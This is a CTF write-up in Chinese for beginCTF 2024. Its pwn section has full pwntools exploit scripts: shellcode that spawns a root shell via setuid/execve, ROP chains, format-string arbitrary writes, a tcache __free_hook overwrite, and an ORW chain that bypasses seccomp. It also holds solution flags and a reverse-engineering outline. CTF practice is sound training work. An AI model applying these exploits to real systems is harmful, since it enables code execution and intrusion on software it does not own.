beginctf2024_wp
pwn
one_byte
刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了
.text:0000000000029D89 48 8B 44 24 08 mov rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0 call rax
mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了
exp
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "101.32.220.189"
PORT = 32371
elf = context.binary = ELF('./one_byte')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# g(p)
payload = b'a' * 0x11 + b'\x89'
flag = b''
for i in range(70):
try:
sa("Are you satisfied with the result?\n",payload)
ru("gift: ")
flag += r(1)
except:
pass
print(flag)
p.interactive()
unhappy
确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了
爆破 哪些指令不能用的脚本
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "101.32.220.189"
PORT = 32371
elf = context.binary = ELF('./unhappy')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
bytecodes = [bytes([i]) for i in range(256)]
disablebytecode = [bytes([i]) for i in b"happyHAPPY"]
result = []
for k in range(1,4):
for i in itertools.product(bytecodes, repeat = k):
s = b""
for j in range(len(i)):
if(i[j] not in disablebytecode):
s = b""
break
s += i[j]
if s != b"":
result.append(s)
print(len(result))
with open("disable.txt","w") as f:
for i in result:
l = disasm(i)
f.write(l + '\n')
exp 远程打过去,flag要root权限才能读,Unhappy文件的属主是root,查了一下有一个叫setuid的系统调用能修改子进程的权限
exp
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 32227
elf = context.binary = ELF('./unhappy')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
shellcode = asm('''
xor eax,eax
xor edi,edi
syscall
''')
s(shellcode)
shellcode = asm('nop') * 0x7
shellcode += asm('''
mov rax,105
mov rdi,0
syscall
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
s(shellcode)
# print(shellcode)
# disablebytecode = "happyHAPPY"
# for i in shellcode:
# if chr(i) in disablebytecode:
# print("######")
# print(chr(i),end="")
p.interactive()
gift_rop
看了一下,是静态链接的程序,那就是ret2syscall了,有rdi rsi rdx的gadget,也有binsh,fd 1 2关了,但是可以重定向0 ,cat flag>&0就好了
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 32113
elf = context.binary = ELF('./gift_rop')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
rdi = 0x0000000000401f2f
rsi = 0x0000000000409f9e
rdx = 0x000000000047f20b # 0x000000000047f20b : pop rdx ; pop rbx ; ret
syscall = 0x0000000000401ce4
rax = 0x0000000000448077
binsh = 0x00000000004c50f0
ru("problem.\n")
payload = flat([
b'a' * (0x20 + 0x8),
rax,0x3b,rdi,binsh,rsi,0,rdx,0,0,syscall
])
s(payload)
p.interactive()
no_money
$禁用了,不能用%n$n这种方式去写数据,调试了一会,尝试了一些假设后发现,用大量的%p%p%p%n来模拟这个%n$n的效果是可行的,原来格式化字符串是这样解析的,学到了,远程的栈布局和本地有些小差别,需要注意一下
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to beginCTF again!");
puts("I'm sorry to tell you that We don't have the funds.");
puts("So I will not give you $.");
while ( 1 )
{
puts("Your payload:");
read(0, buf, 0x100uLL);
for ( i = 0; i <= 255; ++i )
{
if ( buf[i] == 36 )
exit(-1);
}
printf(buf);
check_target();
}
}
int check_target()
{
int result; // eax
result = target;
if ( target )
return system("/bin/sh");
return result;
}
exp
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 30144
elf = context.binary = ELF('./no_money')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"
sa("Your payload:\n",payload)
ru("-(nil)-")
ru("-(nil)-")
ru("-(nil)-")
elf_base = int(r(14),16) - (0x55769f50f277 - 0x55769f50e000)
success(hex(elf_base))
target = elf_base + 0x404C
# g(p)
payload = b"%p%p%p%p%p%p%p%p%p%p%p%nbbbbbbbb" + p64(target)
sa("Your payload:\n",payload)
p.interactive()
ezpwn
咱是笨蛋没有看到有个gift,一直在想怎么泄露libc的地址,%s,command和buf挨着,都初始化了一遍,后面发现有个gift,那直接把返回地址的低位改了,返回地址刚刚好也是一个elf的地址
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 32610
elf = context.binary = ELF('./ezpwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def write_data_one_byte(idx,data):
sla("Input your choice.\n","1")
sla("Please input index.\n",str(idx))
sla("please input value\n",data)
def command(command):
sla("Input your choice.\n","2")
sa("Please input your echo command",command)
p = connect()
write_data_one_byte(0x220 + 0x8,chr(0x51) + chr(0x51))
sla("Input your choice.\n","4")
p.interactive()
zeheap
学了一天堆,调了大半天,终于出了。
首先是怎么绕过这个标记位 mark,可以发现除了free都会对这个标记位进行检查,在free那存在一个uaf,绕过这个标记位,可以通过 create(0) -> delete(0) ->create(1),这样list里面就有两个相同的地址,通过0去free,那就得到了一个tcache chunk,可以通过1去编辑 访问。
unsigned __int64 creat()
{
int v0; // ebx
unsigned int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0xF && !mark[v2] )
{
v0 = v2;
*((_QWORD *)&list + v0) = malloc(0x80uLL);
memset(*((void **)&list + (int)v2), 0, 0x80uLL);
mark[v2] = 1;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF )
{
free(*((void **)&list + (int)v1));
mark[v1] = 0;
}
return __readfsqword(0x28u) ^ v2;
}
利用思路是2.32之前malloc malloc hook free hook还没有删除,在执行free之前会有这样的操作,malloc也是一样,去写malloc hook 或者free hook就能劫持控制流,具体怎么写,2.31 unsorted bin attack已经不可行了,但是可以改tcachebin的next为 malloc hook的地址,那分配的时候就会分配到malloc hook那,那怎么样才能知道malloc hook的地址呢,只有一个unsortedbin的时候 fd和bk都是指向main_arena,这个main_arena是一个libc相关的地址,首先把tcache填满,然后free掉一个堆块,这个堆块就是unsortedbin,通过uaf去 show unsortedbin中的数据去泄露libc的地址
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 32131
elf = context.binary = ELF('./zeheap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create(num):
sla("choose:\n","1")
sla("num:\n",str(num))
def edit(num,context):
sla("choose:\n","2")
sla("num:\n",str(num))
sa("read:\n",context)
def show(num):
sla("choose:\n","3")
sla("num:\n",str(num))
def delete(num):
sla("choose:\n","4")
sla("num:\n",str(num))
p = connect()
create(11)
delete(11)
create(12)
delete(11)
show(12)
r(8)
heap_base = u64(ru(b"\x00")[:-1].ljust(8,b'\x00')) - 0x10
success(hex(heap_base))
create(11)
# g(p)
for i in range(9):
create(i)
for i in range(8):
delete(i)
for i in range(7):
create(i)
create(9)
for i in range(7):
create(i)
for i in range(7):
delete(i)
delete(7)
show(9)
r(8)
libc_base = u64(ru(b"\x00")[:-1].ljust(8,b'\x00')) - (0x7fe5b65adbe0 - 0x7fe5b63c1000)
free_hook= libc_base + libc.sym['__free_hook']
success(hex(libc_base))
success(hex(free_hook))
create(0)
delete(6)
edit(0,p64(free_hook))
create(1)
create(2)
system = libc_base + libc.sym['system']
edit(2,p64(system))
payload = b"/bin/sh"
edit(1,payload)
# g(p)
delete(1)
p.interactive()
cat
去查询了一下 strcat 是在字符串结尾添加一个新字符串,strcpy是把字符串复制到一个新的位置,结尾会有\x00。这一题有canary,那思路是read buf的时候把canary的低位填充,这样通过strcat往后边写rop,然后再用strcpy把canary的低位补回去。后面发现有一个backdoor函数,不用打ret2libc了
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("read:");
read(0, a1, 0x100uLL);
puts("read:");
read(0, a2, 0x100uLL);
vul(a1, a2);
return 0;
}
unsigned __int64 __fastcall vul(const char *a1, const char *a2)
{
__int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
char dest[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h]
char v6[8]; // [rsp+30h] [rbp-20h] BYREF
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
*(_QWORD *)dest = 0LL;
v5 = 0LL;
*(_QWORD *)v6 = 0LL;
v7 = 0LL;
puts("read:");
read(0, buf, 0x100uLL);
strcat(dest, a1);
strcpy(v6, a2);
return v8 - __readfsqword(0x28u);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 31147
elf = context.binary = ELF('./cat')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
cat_flag = 0x4011FE
p = connect()
payload = b"a" * 2
payload += p64(cat_flag)
sa("read:\n",payload)
sa("read:\n",b'a' * (0x20 - 8))
# g(p)
sa("read:\n",b'a' * (0x40 - 0x7))
p.interactive()
aladdin
第一次做 格式化字符串不在栈上的题目,发现只有任意地址写和任意地址读 和 栈上格式化字符串有些差别,但是可以找一个 双重指针 去写地址,这样问题就解决了
这个题目还有一个沙箱,把execve禁用了,我查了一下有一个叫execveat的系统调用,但是没有找到修改r8寄存器的gadget,就打orw了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+0h] [rbp-40h] BYREF
__int16 *v5; // [rsp+8h] [rbp-38h]
__int16 v6; // [rsp+10h] [rbp-30h] BYREF
char v7; // [rsp+12h] [rbp-2Eh]
char v8; // [rsp+13h] [rbp-2Dh]
int v9; // [rsp+14h] [rbp-2Ch]
__int16 v10; // [rsp+18h] [rbp-28h]
char v11; // [rsp+1Ah] [rbp-26h]
char v12; // [rsp+1Bh] [rbp-25h]
int v13; // [rsp+1Ch] [rbp-24h]
__int16 v14; // [rsp+20h] [rbp-20h]
char v15; // [rsp+22h] [rbp-1Eh]
char v16; // [rsp+23h] [rbp-1Dh]
int v17; // [rsp+24h] [rbp-1Ch]
__int16 v18; // [rsp+28h] [rbp-18h]
char v19; // [rsp+2Ah] [rbp-16h]
char v20; // [rsp+2Bh] [rbp-15h]
int v21; // [rsp+2Ch] [rbp-14h]
__int16 v22; // [rsp+30h] [rbp-10h]
char v23; // [rsp+32h] [rbp-Eh]
char v24; // [rsp+33h] [rbp-Dh]
int v25; // [rsp+34h] [rbp-Ch]
unsigned __int64 v26; // [rsp+38h] [rbp-8h]
v26 = __readfsqword(0x28u);
v6 = 32;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 21;
v11 = 1;
v12 = 0;
v13 = 59;
v14 = 53;
v15 = 1;
v16 = 0;
v17 = 0;
v18 = 6;
v19 = 0;
v20 = 0;
v21 = 327680;
v22 = 6;
v23 = 0;
v24 = 0;
v25 = 2147418112;
v4 = 5;
v5 = &v6;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v4);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Aladdin's lamp will grant you three wishes");
while ( --chance )
{
printf("your %d wish:\n", (unsigned int)chance);
memset(wish, 0, sizeof(wish));
read(0, wish, 0x100uLL);
if ( strstr(wish, "one more wish") )
{
puts("no way!");
break;
}
printf(wish);
}
printf("The wonderful lamp is broken");
return 0;
}
思路是 找一个双重指针去写 printf函数的返回地址实现 没有次数限制的格式化字符串 还有劫持控制流,然后用格式化字符串把rbp和rbp + 8 修改成 wish和 leave ret的地址,在read的时候把orw的rop链写到wish里面,然后栈迁移过去打orw
远程环境栈布局有些不同,36 - 51 这个指针 远程要改成36 - 52
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "101.32.220.189"
PORT = 30727
elf = context.binary = ELF('./aladdin')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = "%7$p-%35$p-%17$p" # stack_addr libc_addr elf_addr
sla("wish:\n",payload)
stack_addr = int(r(14),16)
ru("-")
libc_base = int(r(14),16) - (0x7f089c229e40 - 0x7f089c200000)
ru("-")
elf_base = int(r(14),16) - (0x555555555229 - 0x555555554000)
wish = elf_base + 0x4060
success(f"stack_addr ->{hex(stack_addr)}")
success(f"libc_base ->{hex(libc_base)}")
success(f"elf_base ->{hex(elf_base)}")
success(f"chance_addr ->{hex(wish)}")
printf_return_addr = stack_addr - (0x7fffffffe190 - 0x7fffffffe178)
rbp_addr = printf_return_addr + (0x7ffd5abd41d0 - 0x7ffd5abd4188)
ret_addr = rbp_addr + 8
success(f"printf_return_addr ->{hex(printf_return_addr)}")
success(f"rbp_addr ->{hex(rbp_addr)}")
success(f"ret_addr ->{hex(ret_addr)}")
# 36 0x7fffffffe270 —▸ 0x7fffffffe2e8 —▸ 0x7fffffffe5d4 ◂— 'SHELL=/bin/bash'
# 51 0x7fffffffe2e8 —▸ 0x7fffffffe5d4 ◂— 'SHELL=/bin/bash'
payload = "%" + str(printf_return_addr & 0xffff) + "c%36$hn"
sa("wish:\n",payload)
# 11:0088│ 0x7fffa79926c0 —▸ 0x7fffa7992798 —▸ 0x7fffa79935bb ◂— '/home/lhj/Desktop/beginctf/aladdin/aladdin' %22$p
# 2c:0160│ r12 0x7fffa7992798 —▸ 0x7fffa79935bb ◂— '/home/lhj/Desktop/beginctf/aladdin/aladdin' %49$p
wish = wish - 8
wish += 0x10
# 修改rbp的值为wish的地址,一次写两个字节
payload = "%" + str(0x66) + "c%52$hhn"
payload += "%" + str((rbp_addr & 0xffff) - 0x66) + "c%22$hn"
rl()
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((wish & 0xffff) - 0x66 - 4) + "c%49$hn"
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((rbp_addr & 0xffff) + 2 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((wish >> 16) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((rbp_addr & 0xffff) + 4 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((wish >> 32) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
leave_ret = libc_base + 0x000000000004da83
# 修改 rbp + 8 为 libc中的leave ret
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((ret_addr & 0xffff) - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((leave_ret) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str((ret_addr & 0xffff) + 2 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)
payload = "%" + str(0x66) + "c%52$hhn"
payload += "AAAA%" + str(((leave_ret >> 16) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
# g(p)
s(payload)
# 布置新栈 打rop
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x00000000000796a2
payload = b"%" + str(0xf8).encode() + b"c%52$hhn"
payload = payload.ljust(0x10,b"a")
payload += flat([
rdi,0,rsi,wish,rdx,0xf,read,
rdi,wish,rsi,0,open,
rdi,3,rsi,wish,rdx,0x30,read,
rdi,1,rsi,wish,rdx,0x30,write
])
# ru("AAAA")
# g(p)
time.sleep(1.5)
s(payload)
time.sleep(1.5)
s(b'./flag\x00\x00')
p.interactive()
misc
real check in
看出现的字符范围,一看就是base32
MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2===
begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}
Forensics
逆向工程(reverse)入门指南
https://blog.csdn.net/weixin_43605586/article/details/102925973
全选粘贴 得到flag
beginctf_reverse入门
指南
可执行文件
EXE
脱壳
手动
ESP定律
内存镜像法
在程序入口的附近都有一个很大的jmp
工具
反调试
调用系统IsDebuggerPresent等系统API
调用PEB结构体中的成员
TLS回调函数
SEH结构体异常化
枚举进程名称等其他方式
创建线程循环校验
根据代码执行时间判断是否被调试
混淆
花指令 Nop掉
Ollvm
deflat.py脚本
ida d810插件
虚拟化保护 仔细分析程序各个处理块、还原出原本的伪汇编
指令
SMC,自修改代码:指在程序运行过程中会对程
序自身的代码段进行解密或更改,使静态分析无
法直接获取程序的执行信息。可以用idapython进
行脚本patch还原解密过程
双进程 通过创建子进程并进行进程间通信实现反调试和
加解密的操作 完成解密后dump进程内存
win32程序 windows窗口创建找winproc函数、分析各类信息
的处理块
ELF
反调试 利用ptrace进行反调试
花指令 识别并nop
fork 父子进程通信
安卓
静态分析
java层 使用jadx反汇编smail代码 静态分析
native层
native 使用ida分析.so文件中的代码
观察是否有 JNI_Onload 动态注册函数
动态反调试
调用系统函数
父进程ID检测
如果不可以调试
修改程序流程即可
java层 修改.smail中的字节码 并重新打包
native层 对.so文件进行patch 并替换原的.so文件
安卓加壳
使用反射大师进行脱壳
利用xposed框架或者frida框架进行hook
不可执行文件
非x86汇编语言
unicorn模拟执行
qemu模拟执行
python字节码
pycdc
uncompyle
AST 语法树
其它语言源码
非c语言编译程序
rust 有符号看符号,没符号动调看逻辑
c# dnspy反编译,de4dot反混淆
go
ida新版本支持恢复符号,旧版本ida找go恢复符
号的插件,注意64位go语言的调用约定与c不一
样
e语言 ida插件
c++ 静态分析加动态调试分析类结构还原程序逻辑
lua
字节码魔改
字节码反编译
分析方法
静态分析
熟悉程序的加载流程
不同的编译器会有不同的变化:start-
>init_array->main->fini_array或者start-
>initterm->tlscallback->main->cexit
函数调用约定
cdecl
stdcall
fastcall
thiscall
各种程序的主函数位置
命令行:main
窗口:winproc
go: main_main
c#: assembly-CSharp.dll
动态调试
int3中断
最常用的中断类型,直接将中断位置的汇编改为
int3,可以被crc检测到
内存读写中断
将当前位置的可读可写权限进行更改,当当前位
置被访问或更改的时候断下来
硬件断点
根据cpu提供的cr*寄存器进行断点,不会被crc检
测
常用技巧
在等待外部输入时断下来,可以断在scanf等输
入函数内部,通过层层返回父函数至程序主逻辑
处。
对输入的字符下硬件断点只观察对输入的检测或
更改操作简化分析、也可通过对输入的更改进行
猜测函数的作用
加密算法识别
加解密
常见编码:如Base64 注意是否换表、utf-8、
unicode等
对称加密:TEA、XTEA、XXTEA、RC4、
blowfish、aes、des等、可以用ida findcrypt插
件识别常见算法。同时注意常规的加密算法是否
被魔改
非对称加密:rsa
有时候也会有万进制之类的大数计算
自定义的加密要自己设计解密算法
方程组求解问题用python z3库约束求解
迷宫问题
获取正确的迷宫Map 注意起点、终点以及障碍物
分析迷宫的走法 : 不一定都是wasd 单步走
注意是否为多层迷宫
其他游戏贪吃蛇、数独、数织等等..
tips
在解决算法逆向是 尽量使用c语言还原 (数据类型一定要与加密时一
致)。同时要注意数据是 有符号还是无符号的
有时候如果明文空间不大的话 可以采用爆破的
方式。对单个字节进行加密并没有进行字符间的
混淆操作可以对密文进行逐字节爆破。
可能通过loadlibrary + GetProcAddress的方式
隐式调用。也可以通过对程序名进行hash后通过
hash验证来隐式调用库函数。
查看AndroidManifest.xml 中 \<application> 元
素中是否包含了 android:debuggable="true"
begin{0kay_1_thiNK_YoU_Ar3_a1Re@DY_rE4D_6uiDe8ooK_AnD_9OT_FL46}